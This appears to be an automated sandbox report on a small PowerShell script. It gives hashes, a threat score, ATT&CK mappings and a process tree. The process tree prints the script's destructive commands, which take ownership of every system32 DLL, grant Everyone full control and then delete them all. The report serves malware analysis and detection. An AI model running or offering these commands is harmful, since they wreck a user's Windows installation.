0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0

Analysis

max time kernel
47s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 20:39

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General

Target
code.ps1
Size 163B
Sample240809-zfawfasbkh
SHA256 0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0
MD5 282af76963409eb19dd913ccc17971cd
SHA1 acbf38de2933e3bf07e242f574fd38bc3329cbba
SHA512 b8d4379b8c280be9e8d235043a4275e8264e418489bf250f34c4cea49845af11fe39c1fa324d5f852c3ec219ca2de53a831299a86421004c215a0027116e2449
MD5 SHA1 SHA512

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3264	takeown.exe
2788	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3264	takeown.exe
2788	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4212	powershell.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache	SearchApp.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4212	powershell.exe
4212	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeTakeOwnershipPrivilege	3264	takeown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
512	SearchApp.exe
1248	StartMenuExperienceHost.exe
4660	SearchApp.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 1764	4212	powershell.exe	85
PID 4212 wrote to memory of 1764	4212	powershell.exe	85
PID 1764 wrote to memory of 3264	1764	cmd.exe	86
PID 1764 wrote to memory of 3264	1764	cmd.exe	86
PID 4212 wrote to memory of 4660	4212	powershell.exe	90
PID 4212 wrote to memory of 4660	4212	powershell.exe	90
PID 4660 wrote to memory of 2788	4660	cmd.exe	91
PID 4660 wrote to memory of 2788	4660	cmd.exe	91
PID 4212 wrote to memory of 1528	4212	powershell.exe	92
PID 4212 wrote to memory of 1528	4212	powershell.exe	92

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\*.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3264
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\*.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2788
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul"
  2⤵
  PID:1528

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:512

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1248

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_vdlgjbag.rzt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdlgjbag.rzt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4212-0-0x00007FFF8B313000-0x00007FFF8B315000-memory.dmp

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memory/4212-7-0x00000229340D0000-0x00000229340F2000-memory.dmp

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memory/4212-11-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

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memory/4212-12-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

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memory/4212-15-0x00000229361F0000-0x000002293640C000-memory.dmp

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memory/4212-16-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

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